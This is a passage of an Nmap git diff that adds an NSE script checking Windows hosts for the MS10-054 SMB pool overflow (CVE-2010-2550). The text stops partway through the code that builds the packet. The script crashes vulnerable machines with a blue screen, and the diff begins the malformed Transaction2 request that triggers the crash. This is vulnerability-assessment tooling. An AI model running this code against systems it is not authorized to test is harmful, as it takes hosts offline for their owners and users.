diff --git a/CHANGELOG b/CHANGELOG index c1c560bc4..5cbd4f31e 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added smb-vuln-ms10-054 script which chech the target system for MS10-054 + vulnerability in SMB. [Aleksandar] + o [NSE] Added rdp library and the script rdp-enum-encryption that enumerates both the Security Layer and Encryption level of the RDP service. [Patrik Karlsson] diff --git a/nselib/smb.lua b/nselib/smb.lua index ebcd4d107..205c4e7cf 100644 --- a/nselib/smb.lua +++ b/nselib/smb.lua @@ -628,7 +628,7 @@ end --@param command The command to use. --@param overrides The overrides table. Keep in mind that overriding things like flags is generally a very bad idea, unless you know what you're doing. --@return A binary string containing the packed packet header. -local function smb_encode_header(smb, command, overrides) +function smb_encode_header(smb, command, overrides) -- Make sure we have an overrides array overrides = overrides or {} diff --git a/scripts/script.db b/scripts/script.db index d30f81e83..324b27328 100644 --- a/scripts/script.db +++ b/scripts/script.db @@ -343,6 +343,7 @@ Entry { filename = "smb-psexec.nse", categories = { "intrusive", } } Entry { filename = "smb-security-mode.nse", categories = { "default", "discovery", "safe", } } Entry { filename = "smb-server-stats.nse", categories = { "discovery", "intrusive", } } Entry { filename = "smb-system-info.nse", categories = { "discovery", "intrusive", } } +Entry { filename = "smb-vuln-ms10-054.nse", categories = { "dos", "intrusive", "vuln", } } Entry { filename = "smbv2-enabled.nse", categories = { "default", "safe", } } Entry { filename = "smtp-brute.nse", categories = { "brute", "intrusive", } } Entry { filename = "smtp-commands.nse", categories = { "default", "discovery", "safe", } } diff --git a/scripts/smb-vuln-ms10-054.nse b/scripts/smb-vuln-ms10-054.nse new file mode 100644 index 000000000..79d06bed6 --- /dev/null +++ b/scripts/smb-vuln-ms10-054.nse @@ -0,0 +1,146 @@ +local bin = require "bin" +local msrpc = require "msrpc" +local smb = require "smb" +local string = require "string" +local vulns = require "vulns" +local stdnse = require "stdnse" + +description = [[ +Checks if target machines are vulnerable to the ms10-054 SMB remote memory +corruption vulnerability. + +The vulnerable machine will crash with BSOD. + +The script requires at least READ access right to a share on a remote machine. +Either with guest credentials or with specified username/password. + +]] + +--- +-- @usage nmap -p 445 --script=smb-vuln-ms10-054 --script-args unsafe +-- +-- @args unsafe Required to run the script, "safty swich" to prevent running it by accident +-- @args smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs) +-- @output +-- Host script results: +-- | smb-vuln-ms10-054: +-- | VULNERABLE: +-- | SMB remote memory corruption vulnerability +-- | State: VULNERABLE +-- | IDs: CVE:CVE-2010-2550 +-- | Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) +-- | Description: +-- | The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, +-- | Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 +-- | does not properly validate fields in an SMB request, which allows remote attackers +-- | to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability." +-- | +-- | Disclosure date: 2010-08-11 +-- | References: +-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550 +-- |_ http://seclists.org/fulldisclosure/2010/Aug/122 + +author = "Aleksandar Nikolic" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"vuln","intrusive","dos"} + +hostrule = function(host) + return smb.get_port(host) ~= nil +end + +-- stolen from smb.lua as max data count needed to be modified to trigger the crash +local function send_transaction2(smbstate, sub_command, function_parameters) + local header, parameters, data, command + local parameter_offset = 0 + local parameter_size = 0 + local data_offset = 0 + local data_size = 0 + local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2 + local response = {} + + -- Header is 0x20 bytes long (not counting NetBIOS header). + header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2 + + if(function_parameters) then + parameter_offset = 0x44 + parameter_size = #function_parameters + data_offset = #function_parameters + 33 + 32 + end + + -- Parameters are 0x20 bytes long. + parameters = bin.pack("